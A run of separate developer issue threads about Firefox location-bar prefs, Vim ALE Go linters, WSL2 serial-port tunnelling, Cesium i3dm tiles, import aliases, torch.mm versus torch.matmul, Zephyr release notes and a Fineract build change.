 * Accepted values are 0 to 10. A value of zero effectively disables the dropdown.
 * HOWEVER, items (bookmarks/history etc) with a high "frequency"/"bonus" will always
 * be displayed (no we do not know how these are calculated or what the threshold is).
 * [NOTE] Use this if you 0850a ends up being true to enable search engine keywords,
 * but you don't want suggestions  ***/
   // user_pref("browser.urlbar.maxRichResults", 0);

Looks pretty good if you fix the typos ;)

This value controls
Use this if you 0850a ends up being true
A value of zero effectively disables the dropdown 0 disables the dropdown

short and sweet but yours is fine too

Accepted values are 0 to 10 (default)

^^ maybe? or zero fucks given? :)

I tested it in my nilla, nothing over 10 works

It works if you use custom css to remove the space limitation. But I don't think we need to go there

yeah, I know that, you've mentioned it a few times. No need to go to that detail. I just don;t want people saying, but I put in 15 and it doesnt work

 * HOWEVER, items (bookmarks/history etc) with a high "frequency"/"bonus" will always
 * be displayed (no we do not know how these are calculated or what the threshold is).

That's the "Frecency" score that defines urls that should appear in the drop-down:
places.frecency.*

Hah .. I though that was a typo

No, it's a fast telemetry thing. I do not like it as its monitoring times are set various ranges from minutes up to months.

Hah .. I though that was a typo

Lol, you must think I'm retarded. I mean once is typo but 4 times?? bitch please :)

/* 0850a: disable location bar autocomplete [controlled by 0850b]
   // user_pref("browser.urlbar.autocomplete.enabled", false);

/* 0850b: disable location bar suggestion types [controls 0850a]
 * [SETTING] Options>Privacy>Location Bar>When using the location bar, suggest
 * [NOTE] If any of these are true, 0850a will be FORCED to true
 * and if all three are false, 0850a will be FORCED to false
 * [WARNING] If all three are false, search engine keywords are disabled ***/
user_pref("browser.urlbar.suggest.history", false);
user_pref("browser.urlbar.suggest.bookmark", false);
user_pref("browser.urlbar.suggest.openpage", false);

/* 0850c: disable location bar dropdown
 * This value controls the total number of entries to appear in the location bar dropdown.
 * [NOTE] Items (bookmarks/history/openpages) with a high "frecency"/"bonus" will always
 * be displayed (no we do not know how these are calculated or what the threshold is),
 * and this does not affect the search by search engine suggestion (see 0808)
/* [USAGE] This setting is only useful if you want to enable search engine keywords
   (i.e at least one of 0850b must be true) but you don't want suggestions to show ***/
   // user_pref("browser.urlbar.maxRichResults", 0);

thumbs up if I can commit (minus the extra line gaps)

I think a better way to achieve what you wrote under 0850c [USAGE] is to only set .openpage to true.

^^ too much work. Some people have hundreds of open tabs, others dont keep history, others like me have almost no bookmarks (I use a speed dial) - so no one answer fits all as to which to enable to produce the least

Info on GlobalFrecency entries & Wilders post tell how to disable:
 browser.cache.frecency_experiment -1

@Atavic that's for the cache not the bookmarks/history. To disable those you can set all the places.frecency.*Bonus prefs to 0.

Thanks @nodiscc for bringing this up :+1: :heart:

Ch.. ch.. changes! https://bugzilla.mozilla.org/show_bug.cgi?id=1264988 (FF56)
Hah! The popup doesn’t show a scrollbar anymore, instead it just adapts itself to the browser.urlbar.maxRichResults pref value


PagePaginationFooter - replace a href with react route for SPA pagechange

https://stackoverflow.com/questions/56708153/export-react-router-redirect-from-shared-component-library


Go linters available but not enabled

From the README, it looks like all supported linters that are available should be enabled by default. This isn't what I'm seeing for golang while running Vim 8.0 on arch linux. Should they be enabled by default, or am I missing a step?
Thanks!
Current Filetype: go
Available Linters: ['go build', 'gofmt', 'golint', 'gometalinter', 'gosimple', 'go vet', 'staticcheck']
Enabled Linters: ['gofmt', 'golint', 'go vet']
Linter Variables:
Global Variables:
let g:ale_echo_cursor = 1
let g:ale_echo_msg_error_str = 'Error'
let g:ale_echo_msg_format = '%s'
let g:ale_echo_msg_warning_str = 'Warning'
let g:ale_enabled = 1
let g:ale_fix_on_save = 1
let g:ale_fixers = {'python': ['yapf']}
let g:ale_keep_list_window_open = 0
let g:ale_lint_delay = 200
let g:ale_lint_on_enter = 1
let g:ale_lint_on_save = 1
let g:ale_lint_on_text_changed = 'always'
let g:ale_linter_aliases = {}
let g:ale_linters = {}
let g:ale_open_list = 0
let g:ale_set_highlights = 1
let g:ale_set_loclist = 1
let g:ale_set_quickfix = 0
let g:ale_set_signs = 1
let g:ale_sign_column_always = 0
let g:ale_sign_error = '>>'
let g:ale_sign_offset = 1000000
let g:ale_sign_warning = '--'
let g:ale_statusline_format = ['%d error(s)', '%d warning(s)', 'OK']
let g:ale_warn_about_trailing_whitespace = 1
Command History:
(finished - exit code 0) ['/usr/bin/zsh', '-c', 'golint ''/tmp/vLVoIzd/6010/executor.go''']
<<>>
(finished - exit code 1) ['/usr/bin/zsh', '-c', 'go vet ''/tmp/vLVoIzd/6011/executor.go''']
<<>>
vet: /tmp/vLVoIzd/6011/executor.go: /tmp/vLVoIzd/6011/executor.go:14:30: missing ',' in argument list
vet: no files checked
exit status 1
<<>>
(finished - exit code 2) ['/usr/bin/zsh', '-c', 'gofmt -e ''/tmp/vLVoIzd/6012/executor.go''']
<<>>
/tmp/vLVoIzd/6012/executor.go:14:30: missing ',' in argument list
/tmp/vLVoIzd/6012/executor.go:14:36: expected ';', found '{'
<<>>
(finished - exit code 0) ['/usr/bin/zsh', '-c', 'golint ''/tmp/vLVoIzd/6013/executor.go''']
<<>>
(finished - exit code 1) ['/usr/bin/zsh', '-c', 'go vet ''/tmp/vLVoIzd/6014/executor.go''']
<<>>
vet: /tmp/vLVoIzd/6014/executor.go: /tmp/vLVoIzd/6014/executor.go:14:30: missing ',' in argument list
vet: no files checked
exit status 1
<<>>
(finished - exit code 2) ['/usr/bin/zsh', '-c', 'gofmt -e ''/tmp/vLVoIzd/6015/executor.go''']
<<>>
/tmp/vLVoIzd/6015/executor.go:11:29: missing ',' before newline in composite literal
/tmp/vLVoIzd/6015/executor.go:14:30: missing ',' in argument list
/tmp/vLVoIzd/6015/executor.go:14:36: expected ';', found '{'
<<>>
(finished - exit code 0) ['/usr/bin/zsh', '-c', 'golint ''/tmp/vLVoIzd/6016/executor.go''']
<<>>
(finished - exit code 1) ['/usr/bin/zsh', '-c', 'go vet ''/tmp/vLVoIzd/6017/executor.go''']
<<>>
vet: /tmp/vLVoIzd/6017/executor.go: /tmp/vLVoIzd/6017/executor.go:11:29: missing ',' before newline in composite literal (and 1 more errors)
vet: no files checked
exit status 1
<<>>
(finished - exit code 2) ['/usr/bin/zsh', '-c', 'gofmt -e ''/tmp/vLVoIzd/6018/executor.go''']
<<>>
/tmp/vLVoIzd/6018/executor.go:11:28: missing ',' in composite literal
/tmp/vLVoIzd/6018/executor.go:11:30: expected operand, found newline
/tmp/vLVoIzd/6018/executor.go:17:2: missing ',' in composite literal
/tmp/vLVoIzd/6018/executor.go:18:8: missing ',' in composite literal
/tmp/vLVoIzd/6018/executor.go:18:14: missing ',' before newline in composite literal
/tmp/vLVoIzd/6018/executor.go:19:3: expected operand, found 'return'
/tmp/vLVoIzd/6018/executor.go:19:3: missing ',' in composite literal
/tmp/vLVoIzd/6018/executor.go:19:9: expected operand, found newline
/tmp/vLVoIzd/6018/executor.go:22:2: missing ',' in composite literal
/tmp/vLVoIzd/6018/executor.go:23:14: missing ',' before newline in composite literal
/tmp/vLVoIzd/6018/executor.go:24:4: missing ',' in composite literal
/tmp/vLVoIzd/6018/executor.go:25:13: missing ',' before newline in composite literal
/tmp/vLVoIzd/6018/executor.go:26:3: missing ',' before newline in composite literal
/tmp/vLVoIzd/6018/executor.go:27:6: expected '==', found '='
/tmp/vLVoIzd/6018/executor.go:27:17: missing ',' before newline in composite literal
/tmp/vLVoIzd/6018/executor.go:28:2: expected operand, found 'if'
/tmp/vLVoIzd/6018/executor.go:28:2: missing ',' in composite literal
/tmp/vLVoIzd/6018/executor.go:29:8: missing ',' in composite literal
/tmp/vLVoIzd/6018/executor.go:29:14: missing ',' before newline in composite literal
/tmp/vLVoIzd/6018/executor.go:30:3: missing ',' before newline in composite literal
/tmp/vLVoIzd/6018/executor.go:31:2: expected operand, found 'return'
/tmp/vLVoIzd/6018/executor.go:31:2: missing ',' in composite literal
/tmp/vLVoIzd/6018/executor.go:31:8: expected operand, found newline
/tmp/vLVoIzd/6018/executor.go:32:3: expected ';', found 'EOF'
/tmp/vLVoIzd/6018/executor.go:32:3: expected ';', found 'EOF'
/tmp/vLVoIzd/6018/executor.go:32:3: expected '}', found 'EOF'
/tmp/vLVoIzd/6018/executor.go:32:3: expected '}', found 'EOF'
/tmp/vLVoIzd/6018/executor.go:32:3: expected '}', found 'EOF'
/tmp/vLVoIzd/6018/executor.go:32:3: missing ',' in composite literal
/tmp/vLVoIzd/6018/executor.go:32:3: missing ',' in composite literal
<<>>
(finished - exit code 0) ['/usr/bin/zsh', '-c', 'golint ''/tmp/vLVoIzd/6019/executor.go''']
<<>>
(finished - exit code 1) ['/usr/bin/zsh', '-c', 'go vet ''/tmp/vLVoIzd/6020/executor.go''']
<<>>
vet: /tmp/vLVoIzd/6020/executor.go: /tmp/vLVoIzd/6020/executor.go:11:28: missing ',' in composite literal (and 10 more errors)
vet: no files checked
exit status 1
<<>>
(finished - exit code 0) ['/usr/bin/zsh', '-c', 'gofmt -e ''/tmp/vLVoIzd/6021/executor.go''']
<<>>
(finished - exit code 0) ['/usr/bin/zsh', '-c', 'golint ''/tmp/vLVoIzd/6022/executor.go''']
<<>>
(finished - exit code 0) ['/usr/bin/zsh', '-c', 'go vet ''/tmp/vLVoIzd/6023/executor.go''']
<<>>
(finished - exit code 0) ['/usr/bin/zsh', '-c', 'gofmt -e ''/tmp/vLVoIzd/6026/executor.go''']
<<>>
(finished - exit code 0) ['/usr/bin/zsh', '-c', 'golint ''/tmp/vLVoIzd/6027/executor.go''']
<<>>
(finished - exit code 0) ['/usr/bin/zsh', '-c', 'go vet ''/tmp/vLVoIzd/6028/executor.go''']
<<>>
(finished - exit code 0) ['/usr/bin/zsh', '-c', 'gofmt -e ''/tmp/vLVoIzd/6029/executor.go''']
<<>>
(finished - exit code 0) ['/usr/bin/zsh', '-c', 'golint ''/tmp/vLVoIzd/6030/executor.go''']
<<>>
(finished - exit code 0) ['/usr/bin/zsh', '-c', 'go vet ''/tmp/vLVoIzd/6031/executor.go''']
<<>>

For Go, the situation is different, for good reasons. See :help ale-go.

Excellent. Thank you!


Does WSL 2 Manage Serial Ports?

Environment
Windows build number: Microsoft Windows [version 10.0.19042.868]
Your Distribution version: Release:        10
Whether the issue is on WSL 2 and/or WSL 1: Linux version 5.4.72-microsoft-standard-WSL2 (oe-user@oe-host) (gcc version 8.2.0 (GCC)) #1 SMP Wed Oct 28 23:40:43 UTC 2020

Steps to reproduce

Connect serial device on USB.
Check serial ports show up on Device Manager

As per Serial Support on the Windows Subsystem for Linux, check in registry that the serial prots are enumerated.

On WSL2 Debian, list the /dev/ttyS* ports.

I have already checked other issues (e.g. #5158 #4861), but it is not entirely clear whether they relate to WSL 1 or WSL 2.
So the questions are:

Does WSL 2 manage serial ports?
How to manage serial ports with WSL 2?

If WSL 1 used to and WSL 2 no longer does, this is a serious regression.

Expected behaviour
Serial ports show up as /dev/ttyS10 and /dev/ttyS11.
Actual behaviour
Serial ports do not show up as /dev/ttyS10 and /dev/ttyS11.
Thank you!

The same problem on my machine. Windows 10 Version 10.0.21337

I have defined a COM TCP tunnel with "CommTunnel"  and under WSL2 with "sudo socat - tcp4:<IP_ADDRESS>:2101" made the connection. It is important that you open the port 2101 in defender.

LZ /dupe #5203

Well, #5203 reads « COM port device not enumarating in WSL 1 #5203 » and talks about WSL1 not WSL2.
So the title is really misleading.

For WSL2, #4322

As a workaround I have defined a COM TCP tunnel with "CommTunnel" and under WSL2 with "sudo socat - tcp4:<IP_ADDRESS>:2101" made the connection. It is important that you open the port 2101 for the app in defender.

I was able to get your solution working to access serial from ubuntu 18 on WSL2, but I cannot control the RTS and DTR pins. Did you get that to work?

As a workaround I have defined a COM TCP tunnel with "CommTunnel" and under WSL2 with "sudo socat - tcp4:<IP_ADDRESS>:2101" made the connection. It is important that you open the port 2101 for the app in defender.

I was able to get your solution working to access serial from ubuntu 18 on WSL2, but I cannot control the RTS and DTR pins. Did you get that to work?

Hey there! Where can I find a guide or something to achieve this?

@josegpulido
For flashing an ESP32 on WSL2 I used this guide:
https://matevarga.github.io/esp32/m5stack/esp-idf/wsl2/2020/05/31/flashing-esp32-under-wsl2.html
Example that worked for me (including control of RTS and DTR pins):
on windows power shell:
./com2tcp-rfc2217.bat COM6 5555

on wsl2:
idf.py flash -b 115200 -p rfc2217://<IP_ADDRESS>:5555
or
idf.py -monitor -p rfc2217://<IP_ADDRESS>:5555

You should be able to use this for other applications as well, but I have only tested it with the idf application.
I haven't used it in a while since I switched to Ubuntu completely due to other issues.


Support i3dm tile payloads

Splitting up this old issue so we can more accurately track progress.
Add support for Instanced 3D Models.
Attempting to load i3dm tilesets results in errors like [warning] [TileContentFactory.cpp:77] No loader registered for tile with content type '' and magic value 'i3dm'

We haven't observed it to be urgent for most of our users, which is why it hasn't been prioritized. If it's especially urgent for you, @DevElves, we could discuss options for you to fund development of it. We also welcome contributions in the form of pull requests.

This has been closed by #1371 and is available in the latest Cesium for Unreal release!


Implement some alias system for imports

The project is growing, and we need to think about a way to clean our imports. Example:

Any ideas?

My planing to add a baseUrl in tsconfig to be able to do:constants and helpers/responsiveness. But I was planing to do this after the bank launch

My plan was to add a baseUrl in tsconfig to be able to do:constants and helpers/responsiveness. But I was planing to do this after the bank launch

I think that we need to think about a proper alias system for all the imports, not only constants and responsiveness, Example:

I guess removing molecules/atoms/organisms division would alleviate some the pain 😅

@dfvalero that would work for all the imports not only those 2

I've tried just by using baseUrl and it happened what I thought it could happen. There's already a package called "constants" so it complains. So baseUrl is not an option.  Does anyone read the imports anyway?
One thing I would do is what @thegrinder suggested: getting rid of on the level of the paths (atoms, molecules, etc...). But this is a big change for some apps so I would do this in the near future (after bank launch)

Idea:
https://mobile.twitter.com/mkldny/status/1253123287711985664


torch.mm != torch.matmul

Around 02:40:00 you say that that one is an alias of the other. That is not the case
https://pytorch.org/docs/stable/generated/torch.matmul.html#torch.matmul
https://pytorch.org/docs/stable/generated/torch.mm.html
They are different, in spite of the fact that in certain circumstances they might return the same thing. At the top of the mm docs they state
This function does not [broadcast](https://pytorch.org/docs/stable/notes/broadcasting.html#broadcasting-semantics). For broadcasting matrix products, see [torch.matmul()](https://pytorch.org/docs/stable/generated/torch.matmul.html#torch.matmul).

Good catch! Thank you!


doc: 1.9: Elaborate on BSD Sockets and some other factual fixes

There're no "POSIX API support", of POSIX features, only subsets of
Pthreads and BSD Sockets APIs are implemented.
Also, mention HTTP client/server improvements.
Signed-off-by: Paul Sokolovsky<EMAIL_ADDRESS>

This is my attempt at contribution to the release notes. While I wanted to elaborate on BSD Sockets support, I also changed some things which are overbroad (bordering on not being correct), e.g. "POSIX API layer": maybe that was planned (it appears in that section), but what was implemented is very far from it, it's API subsets of 2 small subsystem. Perhaps, we should leave something for the upcoming release notes.

The feature roadmap for 1.9 simply say, "BSD Socket Support". We should update this in the release notes wit some qualification if only a very partial implementation is being released.

That's why I say that this is an RFC. IMHO, everything in Zephyr is very partial, and should stay that way, that's how we're order of magnitude or more smaller than Linux. But again, IMHO, we shouldn't promise a by-default-whole API, if we know it's just a subset. Maybe I'm wrong ;-).


Added changes to allow run -Penv=dev (see FINERACT-730)

Description
Based on https://issues.apache.org/jira/browse/FINERACT-730 and with the guide in https://mifosforge.jira.com/wiki/spaces/MDZ/pages/93093944/IntelliJ+IDEA+Setup
Checklist
Please make sure these boxes are checked before submitting your pull request - thanks!

[ ] Commit message starts with the issue number from https://issues.apache.org/jira/projects/FINERACT/. Ex: FINERACT-646 Pockets API.

[ ] Coding conventions at https://cwiki.apache.org/confluence/display/FINERACT/Coding+Conventions have been followed.

[ ] API documentation at https://github.com/apache/fineract/blob/develop/api-docs/apiLive.htm has been updated with details of any API changes.

[ ] Integration tests have been created/updated for verifying the changes made.

[ ] All Integrations tests are passing with the new commits.

[ ] Submission is not a "code dump".  (Large changes can be made "in repository" via a branch.  Ask on the list.)

Our guidelines for code reviews is at https://cwiki.apache.org/confluence/display/FINERACT/Code+Review+Guide

@nemux Thank You for this!! I'm ecstatic to see interest in (my) good old MariaDB4j... :smiling_face_with_three_hearts:  But I think it's fair to say that maintaining the originally copy/pasted dev-dependencies.gradle has been a paint point for this project, over time. To illustrate the point I'm making, note that this will already break with #829 from @ptuomola ... I was wondering whether perhaps I could motivate you to use the opportunity of this PR to do what I just wrote up in FINERACT-939, and (finally!) just completely ditch dev-dependencies.gradle  here?

Sounds interesting... Let me check that to see what can I do